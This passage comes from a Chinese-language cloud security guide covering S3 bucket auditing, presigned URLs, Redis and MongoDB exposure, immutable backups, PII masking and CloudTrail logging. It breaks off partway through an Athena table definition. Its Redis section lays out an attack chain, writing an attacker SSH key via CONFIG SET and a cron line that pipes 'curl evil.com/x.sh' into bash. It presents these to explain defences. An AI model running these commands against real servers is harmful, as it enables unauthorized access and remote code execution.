云上最大的数据泄露来源,不是"黑客攻破了系统",
而是【存储桶被配成了公开】。
★ 真实事故(公开报道的):
- 2017 Accenture:4 个 S3 桶公开,含 137GB 数据(含解密密钥)
- 2019 某金融机构:Elasticsearch + S3 桶公开,1.06 亿条记录
- 2020 某出行公司:备份桶公开
- 2021 某社交平台:5.33 亿用户手机号(数据本来就是爬来的,
但存在公开的桶里)
- ★ 每年都有几十起,而且【同一家公司会重复犯】
★ 为什么这么容易发生:
① 对象存储的权限模型【有四套机制】(见 10.3.2 风险 2)
② 控制台上"设为公开"只需要点一下
③ 很多教程教人"想让图片能访问?把桶设为 public-read"
→ ★ 这是错的,正确做法是用 CDN + OAC
④ 桶的名字是全局的,扫描器会暴力枚举桶名
★ 对象存储的完整加固清单
# ============================================================
# ① 全账号扫描:找出所有公开的桶(★ 每周跑一次)
# ============================================================
#!/bin/bash
# s3_public_audit.sh
echo "===== 扫描所有桶的公开访问设置 ====="
for bucket in $(aws s3api list-buckets --query 'Buckets[].Name' --output text); do
# ★ 1. Public Access Block 设置
PAB=$(aws s3api get-public-access-block --bucket "$bucket" 2>/dev/null)
if [ -z "$PAB" ]; then
echo " ★★★ [$bucket] 未启用 Public Access Block!"
else
ALL_TRUE=$(echo "$PAB" | jq -r '[.PublicAccessBlockConfiguration | to_entries[] | .value] | all(. == true)')
[ "$ALL_TRUE" == "true" ] && STATUS="✓ 已全开" || STATUS="★ [!] 未全开"
echo " $STATUS [$bucket]"
fi
# ★ 2. ACL 检查(有没有给 AllUsers / AuthenticatedUsers)
PUBLIC_ACL=$(aws s3api get-bucket-acl --bucket "$bucket" 2>/dev/null | jq -r '
.Grants[] | select(.Grantee.URI != null) | .Grantee.URI
' 2>/dev/null)
if [ -n "$PUBLIC_ACL" ]; then
echo " ★★★ [!] ACL 里有公开授权: $PUBLIC_ACL"
fi
# ★ 3. 桶策略检查(有没有 Principal: "*")
POLICY=$(aws s3api get-bucket-policy --bucket "$bucket" --output text 2>/dev/null)
if [ -n "$POLICY" ]; then
HAS_PUBLIC=$(echo "$POLICY" | jq -r '
[.Statement[] |
(if (.Principal|type) == "string" then .Principal
elif (.Principal|type) == "object" then (.Principal.AWS // .Principal.CanonicalUser // "")
else "" end)
] | map(tostring) | join(",") | test("\\*")
' 2>/dev/null)
if [ "$HAS_PUBLIC" == "true" ]; then
echo " ★★★ [!] 桶策略里包含 Principal: '*'!"
fi
fi
# ★ 4. 加密检查
ENC=$(aws s3api get-bucket-encryption --bucket "$bucket" 2>/dev/null)
[ -z "$ENC" ] && echo " ★ [!] 未启用默认加密"
# ★ 5. 版本控制检查
VER=$(aws s3api get-bucket-versioning --bucket "$bucket" --query 'Status' --output text 2>/dev/null)
[ "$VER" != "Enabled" ] && echo " ★ [!] 未启用版本控制"
# ★ 6. 访问日志检查
LOG=$(aws s3api get-bucket-logging --bucket "$bucket" 2>/dev/null | jq -r '.LoggingEnabled // empty')
[ -z "$LOG" ] && echo " ★ [!] 未启用访问日志"
done
★ 预签名 URL(Presigned URL)的双面性
★ 名词:预签名 URL(Presigned URL / 临时访问链接) 白话:一个带“授权签名”的临时下载链接。 不用登录,拿到链接就能下载,一段时间(如 1 小时)后失效。 ★ 生活类比:酒店的“限时电梯卡”,给朋友一张,1 小时内能上楼。
★ 什么时候必须用:
用户在你的 App 里要看自己的私密照片
→ 你不能直接把桶设为公开(★ 那就全公开了)
→ 正确做法:后端生成一个 5 分钟有效的预签名 URL 返回给 App
★ 安全风险:
① ★★ 有效期过长
"为了方便,设个 7 天吧"
→ ★ 链接被转发、被爬虫抓到、被存在浏览器历史里
→ 7 天内任何人拿到链接都能下载
✅ 建议:能短就短(几分钟到 1 小时),最长不超过 24 小时
② ★★ 链接里包含文件名,被暴力枚举
https://bucket.s3.amazonaws.com/uploads/user_12345/avatar.jpg?X-Amz-Signature=...
→ ★ 如果签名校验不严,攻击者可能改路径
→ 实际 AWS 的签名是针对完整路径的,改了就失效(安全)
★ 但【自己实现】的签名逻辑经常有这个问题
③ ★★★ 自己实现预签名时的常见漏洞(★ 这是真问题)
很多公司为了"统一体验"自己包一层下载接口:
GET /api/download?file=xxx&token=<自己签的token>
然后后端验证 token 后去取文件
→ ★ 如果 token 里没绑定文件路径,或者签名算法弱(md5(file))
→ 攻击者改 file 参数就能下载任意文件(★ 越权 + 任意文件读取)
见 11 号文档的越权章节
④ ★ 预签名 URL 会绕过你的审计
★ 用户用预签名 URL 直接访问 S3,你的应用层日志里【没有记录】
→ 出事后不知道"谁下载了什么"
✅ 建议:
- 每次生成预签名 URL 都要在应用日志里记录(谁、什么时候、哪个文件)
- ★ 开启 S3 访问日志 / CloudTrail 数据面事件
- 用 CloudFront 签名 URL 代替(★ CloudFront 有完整的访问日志)
★ 生成预签名 URL 的正确姿势
# ============================================================
# ✅ 正确的预签名 URL 实现
# ============================================================
import boto3
from botocore.config import Config
from datetime import datetime
import logging
s3 = boto3.client('s3', config=Config(signature_version='s3v4'))
logger = logging.getLogger(__name__)
def generate_download_url(user_id: str, object_key: str, expires_in: int = 300) -> str:
"""
生成预签名下载 URL
★ 五个必须做的点:
① 先鉴权(这个用户能不能访问这个文件)—— ★ 最容易被忘
② 有效期要短
③ 强制下载文件名(防止 XSS / 内容嗅探)
④ 记录审计日志
⑤ 限制请求的 IP(如果业务允许)
"""
# ① ★★★ 先做业务鉴权(很多人直接跳过这步!)
if not can_user_access(user_id, object_key):
# ★ 注意:即使无权,也不要透露文件是否存在(避免信息泄露)
raise PermissionError("无权访问该资源")
# ② 生成预签名 URL(有效期 5 分钟)
url = s3.generate_presigned_url(
'get_object',
Params={
'Bucket': 'my-private-bucket',
'Key': object_key,
# ③ ★ 强制下载 + 指定文件名(★ 防止上传的 HTML 被执行 XSS)
'ResponseContentDisposition': f'attachment; filename="{sanitize_filename(object_key)}"',
# ★ 强制 Content-Type,防止内容嗅探
'ResponseContentType': 'application/octet-stream',
},
ExpiresIn=expires_in,
HttpMethod='GET'
)
# ④ ★★ 审计日志(★ 这是很多人漏掉的)
logger.info({
'event': 'presigned_url_generated',
'user_id': user_id,
'object_key': object_key,
'expires_in': expires_in,
'timestamp': datetime.utcnow().isoformat(),
'ip': get_client_ip(),
})
return url
def can_user_access(user_id: str, object_key: str) -> bool:
"""
★★ 关键:鉴权逻辑必须校验【文件路径属于这个用户】
不能只校验"用户已登录"
"""
# ✅ 正确:校验路径前缀属于该用户
expected_prefix = f"users/{user_id}/"
if not object_key.startswith(expected_prefix):
return False
# ✅ 还要校验:文件确实存在(在数据库里有记录)
return db.file_exists(user_id=user_id, key=object_key)
# ============================================================
# ❌ 常见错误写法(收集一下反面教材)
# ============================================================
def bad_generate_url(object_key: str) -> str:
"""❌ 六种错误,看看你中了几条"""
# 错误 1:没有鉴权,任何人调用都能拿到任意文件的链接
# 错误 2:有效期 7 天(太长)
return s3.generate_presigned_url(
'get_object',
Params={'Bucket': 'my-bucket', 'Key': object_key},
ExpiresIn=604800 # ❌ 7 天
)
# 错误 3:没有 ResponseContentDisposition
# → 用户上传的 .html 文件会在浏览器里执行(★ 存储型 XSS!)
# 错误 4:没有记录审计日志
# 错误 5:object_key 直接来自用户输入,没有校验用户是否有权访问
# → ★ 越权漏洞:改一下 key 就能下载别人的文件
# 错误 6:用 GET 方法生成上传 URL 时没有限制文件大小和 Content-Type
# ============================================================
# ★ 预签名【上传】URL 的正确姿势(风险比下载更大)
# ============================================================
def generate_upload_url(user_id: str, filename: str, content_type: str) -> dict:
"""
★★ 上传 URL 比下载危险得多,因为别人可以:
- 上传任意大小的文件(★ 你的账单)
- 上传任意类型(★ .html → 存储型 XSS,.exe → 恶意软件分发)
- 覆盖别人的文件(★ 如果 key 可预测)
"""
import uuid
# ① ★★ 白名单校验 Content-Type(★ 最关键)
ALLOWED_TYPES = {'image/jpeg', 'image/png', 'image/gif', 'application/pdf'}
if content_type not in ALLOWED_TYPES:
raise ValueError(f"不允许的文件类型: {content_type}")
# ② ★★ 用随机 key,防止覆盖和枚举(★ 不要用用户提供的文件名)
ext = filename.rsplit('.', 1)[-1].lower() if '.' in filename else ''
if ext not in {'jpg', 'jpeg', 'png', 'gif', 'pdf'}:
raise ValueError("不允许的扩展名")
object_key = f"uploads/{user_id}/{uuid.uuid4().hex}.{ext}"
# ③ ★★ 用 POST policy 限制上传(★ 这是唯一能限制大小的方法)
# ★ 注意:PUT 预签名 URL 【无法】限制文件大小!
# → 必须用 POST policy(浏览器直传)
fields = {
'Content-Type': content_type,
}
conditions = [
{'Content-Type': content_type},
["content-length-range", 1, 10 * 1024 * 1024], # ★ 1 字节 ~ 10MB
["starts-with", "$key", f"uploads/{user_id}/"], # ★ 只能传到自己目录
]
presigned = s3.generate_presigned_post(
Bucket='my-upload-bucket',
Key=object_key,
Fields=fields,
Conditions=conditions,
ExpiresIn=300, # ★ 5 分钟
)
# ④ ★ 记录待上传状态,等回调确认(★ 防止上传了但不告知后端)
db.create_pending_upload(user_id=user_id, key=object_key, filename=filename)
return {
'url': presigned['url'],
'fields': presigned['fields'],
'key': object_key,
}
# ★★ 补充:上传后必须做病毒扫描 + 内容检测
# - ClamAV 扫描(★ 你的桶会被挂马,然后你的域名被用来分发恶意软件)
# - 图片二次压缩/转码(★ 能破坏大部分图片马)
# - 服务端再校验一次 Content-Type 和魔数(★ 客户端传的不可信)
10.6.3 数据库与缓存安全(★ 最容易被打的地方)
★★★ Redis / MongoDB / Elasticsearch 未授权访问
★ 关键事实:这些中间件【默认没有密码】
- Redis 默认无认证(redis.conf 里 requirepass 是注释掉的)
- MongoDB 3.6 之前默认无认证,之后默认只监听 127.0.0.1
→ ★ 但如果改了 bind_ip = 0.0.0.0 且没开 auth = 完全裸奔
- Elasticsearch 默认无认证(7.x 之前)
★ 暴露在公网上会发生什么:
┌────────────────────────────────────────────────┐
│ Redis 未授权访问攻击链(★ 平均 3 分钟被攻陷) │
├────────────────────────────────────────────────┤
│ ① 扫描器发现 6379 端口开放且无认证 │
│ ② 执行: │
│ config set dir /root/.ssh/ │
│ config set dbfilename authorized_keys │
│ set x "\n\nssh-rsa AAAAB3...攻击者公钥\n\n" │
│ save │
│ → ★★ 攻击者的 SSH 公钥被写进 authorized_keys │
│ → ssh root@目标机器,直接登录 │
│ │
│ ③ 或者写计划任务: │
│ config set dir /var/spool/cron/ │
│ config set dbfilename root │
│ set x "\n* * * * * curl evil.com/x.sh|bash\n"│
│ save │
│ │
│ ④ 或者(Redis 4.x+)写 so 文件 → 加载模块 → RCE │
└────────────────────────────────────────────────┘
★ MongoDB / Elasticsearch 未授权:
① 直接拖走所有数据
② ★★ 勒索:删掉所有数据,只留一个库写着
"Send 0.05 BTC to xxx, then email us to recover"
(★ 2017 年有超过 3 万个 MongoDB 实例这样被勒索)
★★ 防护(四条,缺一不可):
① ★ 不要监听 0.0.0.0,只监听内网 IP
② ★ 开启认证(requirepass / --auth / xpack.security)
③ ★ 安全组/防火墙:只对应用服务器开放,绝不开放公网
④ ★ 不要用默认端口(改成 16379 等)—— 只能挡住低级扫描,
但聊胜于无(★ 这不是安全措施,是"减少噪音")
# ============================================================
# Redis 安全加固
# ============================================================
# ① 配置文件加固(redis.conf)
cat >> /etc/redis/redis.conf <<'EOF'
# ★ 只监听内网
bind 10.0.1.5 127.0.0.1
# ★ 开启密码(★ 用强密码,不要用 123456)
requirepass "Zx9#mK2$pL7@vN4&qR8*wT3!"
# ★★ 禁用危险命令(★ 这一条极其重要)
rename-command FLUSHALL ""
rename-command FLUSHDB ""
rename-command KEYS "RANDOM_KEY_NAME_9f3a2b"
rename-command CONFIG "RANDOM_CONFIG_NAME_7d1c8e"
rename-command SHUTDOWN ""
rename-command DEBUG ""
rename-command EVAL ""
# ★ 以非 root 用户运行
# user redis redis (Redis 6+ 支持 ACL 用户)
# ★ 开启保护模式
protected-mode yes
# ★ 限制最大内存(防止被打爆)
maxmemory 4gb
maxmemory-policy allkeys-lru
EOF
# ② 验证:从外部能不能连上
redis-cli -h <public-ip> -p 6379 ping
# ★ 应该返回 "Could not connect" 或 NOAUTH
# ③ ★ 检查有没有被写入过恶意 key
redis-cli -a "$PASSWORD" --no-auth-warning keys '*'
# ★ 如果看到奇怪的 key(如 "backup1"、"crackit")→ 已经被攻击过了
# ④ 检查 authorized_keys 有没有被改
cat /root/.ssh/authorized_keys # ★ 看有没有不认识的公钥
crontab -l # ★ 看有没有可疑任务
★ 云数据库(RDS)的安全清单
☑ ★ 不启用公网访问(PubliclyAccessible = false)
如果必须:白名单 + SSL + 强密码 + 审计
☑ 安全组只对应用层开放(见 10.3.2 风险 3)
☑ ★ 存储加密(创建时开启!见 10.3.2 风险 4)
☑ 强制 SSL(require_secure_transport = ON)
☑ ★ 开启审计日志(MySQL: audit log;PG: pgaudit)
★ 合规要求(等保 2.0 三级)也需要
☑ 备份加密 + 备份保留期(★ 至少 7 天,重要数据 30 天)
☑ ★★ 开启删除保护(DeletionProtection)
→ 防止误删 / 攻击者删库
→ ★ 这是防勒索的最后一道防线
☑ ★ 不用主账号,给每个应用建独立账号 + 最小权限
- 只读应用 → 只给 SELECT
- 报表应用 → 只给特定库的 SELECT
☑ 定期轮换密码(用 Secrets Manager 自动轮换)
☑ ★ 敏感字段加密(应用层或数据库层的列加密)
☑ 用堡垒机/数据库网关访问,不在本地直连
10.6.4 防勒索:不可变备份(★ 云上最有价值的安全投资)
★★★ 勒索软件的攻击逻辑(2026 年的现状):
① 攻击者进入环境(钓鱼 / 漏洞 / 凭据泄露)
② 横向移动,找到域控 / 备份服务器
③ ★★ 【第一步就是删除所有备份】(★ 这是关键!)
④ 然后加密生产数据
⑤ 勒索
★ 所以:
★★ 如果你的备份能被攻击者删掉,那备份等于不存在
★ 真实教训:
很多公司"有备份",但备份服务器和域在同一个网络、
用域账号管理 → 攻击者拿到域管 → 删光备份 → 只能交赎金
★★★ 云上的解决方案:不可变备份(Immutable Backup)
★ 白话:写完就锁死,谁都删不掉(★ 包括你的 root 账号)
★★ 三种不可变备份方案(按强度排序)
┌──────────────────────────────────────────────────────────────┐
│ 方案 1:★ 对象存储版本控制 + MFA 删除 │
├──────────────────────────────────────────────────────────────┤
│ 原理: │
│ ① 开启版本控制 → 删除对象只是打"删除标记",历史版本还在 │
│ ② 开启 MFA Delete → 删除【某个版本】需要 MFA 设备确认 │
│ │
│ ★ 能防住: │
│ ✓ 攻击者用普通 AK/SK 删备份(会被版本控制挡住) │
│ ✓ 误操作删除 │
│ ★ 防不住: │
│ ✗ 攻击者拿到了【root 账号 + MFA 设备】 │
│ ✗ 攻击者关闭了版本控制(需要 s3:PutBucketVersioning 权限) │
└──────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ 方案 2:★★ 对象锁(Object Lock)—— ★ 推荐 │
├──────────────────────────────────────────────────────────────┤
│ 原理:WORM(Write Once Read Many,一次写入多次读取) │
│ 设置保留期,在保留期内【任何人都不能删除或修改】 │
│ │
│ 两种模式: │
│ - GOVERNANCE(治理模式): │
│ 有特殊权限的人(s3:BypassGovernanceRetention)可以删 │
│ → 适合合规场景,管理员还能操作 │
│ - ★★ COMPLIANCE(合规模式): │
│ ★★ 谁都删不掉,包括账号 root、包括云厂商 │
│ → ★ 这才是真正的防勒索 │
│ │
│ ★ 能防住: │
│ ✓✓ 攻击者拿到任何权限都删不掉(★ 除非他有你的物理 MFA) │
│ ★ 代价: │
│ ✗ ★ 设为 COMPLIANCE 后,你自己也删不掉,必须等保留期结束 │
│ ✗ 会产生存储成本(保留期内的数据一直在) │
└──────────────────────────────────────────────────────────────┘
┌──────────────────────────────────────────────────────────────┐
│ 方案 3:★★★ 跨账号 / 跨云备份(★ 最强,3-2-1 原则) │
├──────────────────────────────────────────────────────────────┤
│ ★ 3-2-1 备份原则: │
│ 3 份副本 + 2 种不同介质 + 1 份离线/异地 │
│ │
│ 云上实现: │
│ 生产账号的数据 → 备份到一个【独立的备份账号】 │
│ ★ 关键点: │
│ ① 备份账号的凭据【生产账号里没有】(★ 单向) │
│ → 攻击者即使完全控制了生产账号, │
│ ★ 也碰不到备份账号里的东西 │
│ ② 备份账号开启 MFA + 对象锁 │
│ ③ 甚至可以跨云(AWS 的数据备份到阿里云,★ 极端情况) │
│ │
│ ★ 能防住: │
│ ✓✓✓ 生产账号完全沦陷(★ 包括 root 被盗) │
│ ★ 代价: │
│ 成本高、架构复杂、恢复演练麻烦 │
└──────────────────────────────────────────────────────────────┘
# ============================================================
# ★ 实战:搭建一个防勒索的备份桶(AWS)
# ============================================================
# ① 创建开启对象锁的桶(★ 必须在创建时就开,事后开不了)
aws s3api create-bucket \
--bucket mycompany-immutable-backup \
--object-lock-enabled-for-bucket
# ② 设置默认保留策略(30 天 COMPLIANCE 模式)
aws s3api put-object-lock-configuration \
--bucket mycompany-immutable-backup \
--object-lock-configuration '{
"ObjectLockEnabled": "Enabled",
"Rule": {
"DefaultRetention": {
"Mode": "COMPLIANCE",
"Days": 30
}
}
}'
# ③ 开启版本控制
aws s3api put-bucket-versioning \
--bucket mycompany-immutable-backup \
--versioning-configuration Status=Enabled
# ④ ★★ 用 SCP 保护这个桶(防止有人改配置)
# (SCP 见 10.2.5)
{
"Sid": "保护不可变备份桶",
"Effect": "Deny",
"Action": [
"s3:PutObjectLockConfiguration",
"s3:PutBucketVersioning",
"s3:DeleteBucket",
"s3:PutBucketPolicy",
"s3:PutLifecycleConfiguration"
],
"Resource": "arn:aws:s3:::mycompany-immutable-backup"
}
# ⑤ 测试:试试能不能删(★ 一定要测!)
echo "test-$(date +%s)" > /tmp/test-backup.txt
aws s3 cp /tmp/test-backup.txt s3://mycompany-immutable-backup/test.txt
aws s3 rm s3://mycompany-immutable-backup/test.txt
# ★ 应该报错:Access Denied(或显示删除标记但实际版本还在)
# 用 root 账号再试一次
# ★ COMPLIANCE 模式下,root 也应该被拒绝
# ⑥ 开启生命周期规则:30 天后自动清理(控制成本)
aws s3api put-bucket-lifecycle-configuration \
--bucket mycompany-immutable-backup \
--lifecycle-configuration '{
"Rules": [{
"ID": "expire-old-versions",
"Status": "Enabled",
"NoncurrentVersionExpiration": {"NoncurrentDays": 90}
}]
}'
# ★ 注意:在 COMPLIANCE 保留期内,即使生命周期规则也删不掉
★★★ 关于备份,三句最实在的话
① ★ 没有恢复演练过的备份 = 没有备份
→ 每年至少做两次完整的恢复演练,并记录 RTO(恢复时间)
→ ★ 很多公司出事时发现:备份文件是坏的 / 恢复要 3 天 / 缺关键数据
② ★ 备份本身也要防"被篡改"
→ 攻击者不一定删备份,他可以【污染】备份(把恶意代码写进备份)
→ 恢复后等于重新被感染
→ ✅ 备份要校验哈希 + 恢复时要扫描
③ ★ 恢复顺序要想清楚(★ 很多人到出事才发现顺序错了)
正确顺序:
① 先恢复"干净的基础环境"(网络 + 身份系统)
② 恢复域控(如果是从 AD 恢复,要注意 Tombstone 和 USN 回滚问题,见第七章)
③ 恢复应用服务器
④ ★ 恢复数据(★ 恢复完成后要验证数据完整性)
⑤ ★★ 全部重置凭据(密钥、密码、Session)
⑥ 逐步开放网络
★ 反例:先恢复应用 → 攻击者用旧凭据又进来了 → 白恢复
10.6.5 数据分类分级与脱敏(合规要求)
★ 名词:数据分类分级 白话:把数据按“有多敏感”和“泄露后后果多严重”分成几档,然后分别保护。 ★ 这是《数据安全法》和《个人信息保护法》的法定要求(不是可选项)。
★ 中国的分级标准(★ 记住这四个级别)
┌──────────┬──────────────────────────────────────────────┐
│ 级别 │ 定义 + 例子 │
├──────────┼──────────────────────────────────────────────┤
│ ① 一般数据│ 泄露后影响很小 │
│ │ 例:公开的产品介绍、帮助文档 │
├──────────┼──────────────────────────────────────────────┤
│ ② 重要数据│ ★ 特定领域、特定群体、特定区域或达到一定精度 │
│ │ 和规模,一旦泄露可能直接影响国家安全/公共利益 │
│ │ 例:人口普查数据、地图测绘数据、 │
│ │ 未公开的统计数据、工业控制系统参数 │
│ │ ★★ 重要数据【不得出境】(除非通过安全评估) │
├──────────┼──────────────────────────────────────────────┤
│ ③ 核心数据│ ★★ 关系国家安全、国民经济命脉、重要民生、 │
│ │ 重大公共利益 │
│ │ 例:国家秘密相关、重大国防科研数据 │
│ │ ★★★ 实行【更严格】的管理制度 │
├──────────┼──────────────────────────────────────────────┤
│ ④ 个人信息│ ★ 单独一套体系(见下) │
└──────────┴──────────────────────────────────────────────┘
★ 个人信息的分类(个保法)
┌──────────────┬──────────────────────────────────────────┐
│ 一般个人信息 │ 姓名、电话、地址、账号 │
├──────────────┼──────────────────────────────────────────┤
│ ★ 敏感个人 │ 生物识别(人脸/指纹)、宗教信仰、特定身份、 │
│ 信息 │ 医疗健康、金融账户、行踪轨迹, │
│ │ ★ 以及【不满十四周岁未成年人】的个人信息 │
│ │ │
│ │ ★★ 处理敏感个人信息需要: │
│ │ ① 取得【单独同意】(不能混在用户协议里) │
│ │ ② 告知处理的【必要性】和【影响】 │
│ │ ③ ★ 进行个人信息保护影响评估(PIA) │
└──────────────┴──────────────────────────────────────────┘
★ 数据脱敏的五种方式与坑
┌──────────────┬────────────────────────┬────────────────────────┐
│ 方式 │ 白话 │ ★ 坑 │
├──────────────┼────────────────────────┼────────────────────────┤
│ ① 掩码 │ 138****5678 │ ★ 前 3 后 4 保留, │
│ (Masking) │ 张** │ 中间 4 位只有 10000 种 │
│ │ │ → 结合其他信息可还原 │
├──────────────┼────────────────────────┼────────────────────────┤
│ ② 哈希 │ md5(手机号) │ ★★ 手机号空间小, │
│ (Hashing) │ → 固定 32 位 │ 彩虹表几秒就破解 │
│ │ │ ✅ 必须用 HMAC + 密钥 │
├──────────────┼────────────────────────┼────────────────────────┤
│ ③ 加密 │ AES 加密,可解密 │ ★ 密钥管理是难点 │
│ (Encryption) │ │ ★ 加密后无法做范围查询 │
├──────────────┼────────────────────────┼────────────────────────┤
│ ④ 替换/伪造 │ 换成假名字、假身份证 │ ★ 假数据可能撞到真人 │
│ (Substitution)│ 例:张三 → 李四 │ ✅ 用专门的假数据生成器 │
├──────────────┼────────────────────────┼────────────────────────┤
│ ⑤ 泛化/分桶 │ 年龄 27 → 20-30 │ ★ 分桶太细依然可识别 │
│ (Generalization)│ 收入 → 10k-20k │ ★ k-匿名问题(见下) │
└──────────────┴────────────────────────┴────────────────────────┘
★★★ 一个重要概念:脱敏 ≠ 匿名化
★ 脱敏(De-identification):
去掉/替换了直接标识符,但【仍可能通过关联还原】
→ ★ 依然属于个人信息,受个保法约束
★ 匿名化(Anonymization):
★ 无法识别特定自然人,且【不能复原】
→ 不属于个人信息,可以自由使用
★★ 判断标准(个保法的要求很严):
匿名化 = 【不能复原】
- 不能通过【自身】复原
- 不能通过【与其他数据结合】复原
★ 生活类比:
脱敏 = 给你戴个口罩(熟人还是能认出你)
匿名化 = 把你混进 10 万人的体育场航拍里(认不出来了)
★★ 现实:绝大多数号称"匿名化"的数据,其实只是脱敏
→ Netflix 的推荐数据集被重新识别出来(2007 年著名案例)
→ ★ 所以:处理脱敏数据时,依然要按个人信息来保护
# ============================================================
# ★ 数据脱敏的正确实现
# ============================================================
import hashlib
import hmac
import os
import re
# ★ 密钥从环境变量或密钥管理服务读,不要硬编码
HMAC_KEY = os.environ.get('PII_HMAC_KEY', '').encode()
if not HMAC_KEY:
raise RuntimeError("必须配置 PII_HMAC_KEY")
def pseudonymize_phone(phone: str) -> str:
"""
★ 手机号假名化(pseudonymization)
❌ 错误做法:hashlib.md5(phone.encode()).hexdigest()
→ ★ 手机号总共 10^11 种,但有效号段更少,
用彩虹表 + GPU 几分钟就能全部反推
✅ 正确做法:HMAC-SHA256 + 密钥
→ 攻击者没有密钥,无法彩虹表
"""
normalized = re.sub(r'\D', '', phone)
return hmac.new(HMAC_KEY, normalized.encode(), hashlib.sha256).hexdigest()[:16]
def mask_phone(phone: str) -> str:
"""展示用掩码"""
if len(phone) != 11:
return "***"
return f"{phone[:3]}****{phone[7:]}"
def mask_id_card(id_card: str) -> str:
"""
★ 身份证脱敏
❌ 常见错误:只保留前 6 位(地区码)+ 后 4 位
→ ★ 前 6 位 = 籍贯,后 4 位含性别 + 顺序号
→ 结合生日(很多人不脱敏生日)可以大幅缩小范围
✅ 正确:前 1 位 + 后 1 位,中间全 *,且【生日单独脱敏】
"""
if len(id_card) < 18:
return "*" * len(id_card)
return id_card[0] + "*" * 16 + id_card[-1]
def mask_name(name: str) -> str:
"""
★ 姓名脱敏的坑:
- 两字姓名:张* (★ 保留了姓,同姓的人还是很多)
- 三字姓名:张*三(★ 首尾保留 = 泄露太多!)
→ "张*三" 在中文名字里几乎能唯一确定
✅ 建议:只保留第一个字,其余全 *
"""
if len(name) <= 1:
return name
return name[0] + "*" * (len(name) - 1)
# ============================================================
# ★★ 最重要的:生产环境的脱敏要在【数据出口】统一做
# ============================================================
from functools import wraps
PII_FIELDS = {
'phone': mask_phone,
'mobile': mask_phone,
'id_card': mask_id_card,
'idcard': mask_id_card,
'name': mask_name,
'real_name': mask_name,
'address': lambda x: x[:6] + '*' * max(0, len(x) - 6) if len(x) > 6 else '***',
'email': lambda x: x[0] + '***@' + x.split('@')[-1] if '@' in x else '***',
}
def auto_desensitize(role: str = 'normal'):
"""
★ 装饰器:自动对返回的 PII 字段脱敏
★★ 设计要点:
① 【默认脱敏,显式放行】—— 而不是"默认放行,按需脱敏"
→ ★★ 这是最关键的设计决策!
→ "默认放行"的模式,总会有人忘了脱敏
② 只有有权限的角色(如风控、客服主管)才能看到明文
③ 每次查看明文都要记录审计日志
"""
def decorator(func):
@wraps(func)
def wrapper(*args, **kwargs):
result = func(*args, **kwargs)
# ★ 有权限的角色返回明文,但要记录审计
if role in ('compliance', 'risk_control'):
audit_log_pii_access(func.__name__, role, kwargs)
return result
# ★ 普通角色一律脱敏
return _desensitize_recursive(result)
return wrapper
return decorator
def _desensitize_recursive(obj):
"""递归处理 dict / list 里的 PII 字段"""
if isinstance(obj, dict):
return {
k: (PII_FIELDS.get(k.lower(), lambda x: x)(v)
if k.lower() in PII_FIELDS and isinstance(v, str)
else _desensitize_recursive(v))
for k, v in obj.items()
}
elif isinstance(obj, list):
return [_desensitize_recursive(i) for i in obj]
return obj
def audit_log_pii_access(func_name: str, role: str, params: dict):
"""★ 明文访问审计(合规要求)"""
logger.warning({
'event': 'pii_plaintext_access',
'func': func_name,
'role': role,
'params_keys': list(params.keys()),
'user': get_current_user(),
'ip': get_client_ip(),
'timestamp': datetime.utcnow().isoformat(),
})
10.7 云审计、检测与响应
★ 一句话:云上的所有操作本质上都是 API 调用, 而所有 API 调用都会被记录—— 这是云相对传统机房最大的安全优势, ★ 前提是你要【开启】并且【真的去看】。
10.7.1 云审计日志:一切的基础
★ 三大云厂商的审计服务
AWS → CloudTrail (管理事件 + 数据事件)
★ 事件历史默认保留 90 天,但【不含数据面事件】
阿里云 → 操作审计(ActionTrail)
腾讯云 → 云审计(CloudAudit)
GCP → Cloud Audit Logs (分 Admin Activity / Data Access / System Event)
Azure → Azure Activity Log
★★★ 首先必须理解的两个概念
┌────────────────────────────────────────────────────────┐
│ 管理事件(Management Events / Control Plane) │
│ 白话:【对资源本身的操作】 │
│ 例:创建 EC2、删除桶、修改 IAM 策略、创建用户 │
│ ★ 默认开启,免费 │
│ ★ 能看到"攻击者做了什么操作" │
├────────────────────────────────────────────────────────┤
│ 数据事件(Data Events / Data Plane) │
│ 白话:【对资源里的内容的操作】 │
│ 例:S3 GetObject/PutObject、Lambda Invoke、 │
│ DynamoDB GetItem │
│ ★★ 默认【关闭】,要额外收费 │
│ ★★ 但这是"数据有没有被拖走"的唯一证据 │
└────────────────────────────────────────────────────────┘
★★★ 最重要的建议:
★ 敏感桶(备份桶、用户数据桶)必须开启数据事件
否则出事后你只能说"他可能下载了",无法确认
★ 成本考虑:数据事件量大,全开会很贵
→ 只对最敏感的 2~3 个桶开启
# ============================================================
# CloudTrail 完整配置(含数据事件)
# ============================================================
# ① 创建跟踪(多区域 + 日志文件校验 + KMS 加密)
aws cloudtrail create-trail \
--name org-trail \
--s3-bucket-name mycompany-audit-logs \
--is-multi-region-trail \
--include-global-service-events \
--enable-log-file-validation \
--kms-key-id arn:aws:kms:...:key/xxx
# ② 开启日志
aws cloudtrail start-logging --name org-trail
# ③ ★★ 开启敏感桶的数据事件
aws cloudtrail put-event-selectors \
--trail-name org-trail \
--advanced-event-selectors '[
{
"Name": "管理事件(全部)",
"FieldSelectors": [
{"Field": "eventCategory", "Equals": ["Management"]}
]
},
{
"Name": "★ 敏感桶的数据事件",
"FieldSelectors": [
{"Field": "eventCategory", "Equals": ["Data"]},
{"Field": "resources.type", "Equals": ["AWS::S3::Object"]},
{"Field": "resources.ARN", "StartsWith": ["arn:aws:s3:::prod-backup/", "arn:aws:s3:::prod-user-data/"]}
]
}
]'
# ④ ★ 验证日志有没有真的在写
aws s3 ls s3://mycompany-audit-logs/AWSLogs/123456789012/CloudTrail/ --recursive | tail -5
# ★ 应该有按日期组织的 .json.gz 文件
# ⑤ ★★★ 验证日志文件校验(防篡改,取证时很重要)
aws cloudtrail validate-logs \
--trail-arn arn:aws:cloudtrail:cn-north-1:123456789012:trail/org-trail \
--start-time 2026-09-01T00:00:00Z
# ★ 输出:Results requested for 2026-09-01T00:00:00Z to ...
# Validating log files...
# ✓ 所有日志文件有效(如果被篡改过,这里会报错)
10.7.2 用 SQL 分析审计日志(★ 实战查询集)
# ============================================================
# 前置:把 CloudTrail 日志灌进 Athena(能 SQL 查)
# ============================================================
# 创建 Athena 表(分区 Projection 方式,★ 现代写法,不用加分区)
CREATE EXTERNAL TABLE cloudtrail_logs (
eventversion STRING,
useridentity STRUCT<
type: STRING,
principalid: STRING,
arn: STRING,
accountid: STRING,
invokedby: STRING,
accesskeyid: STRING,
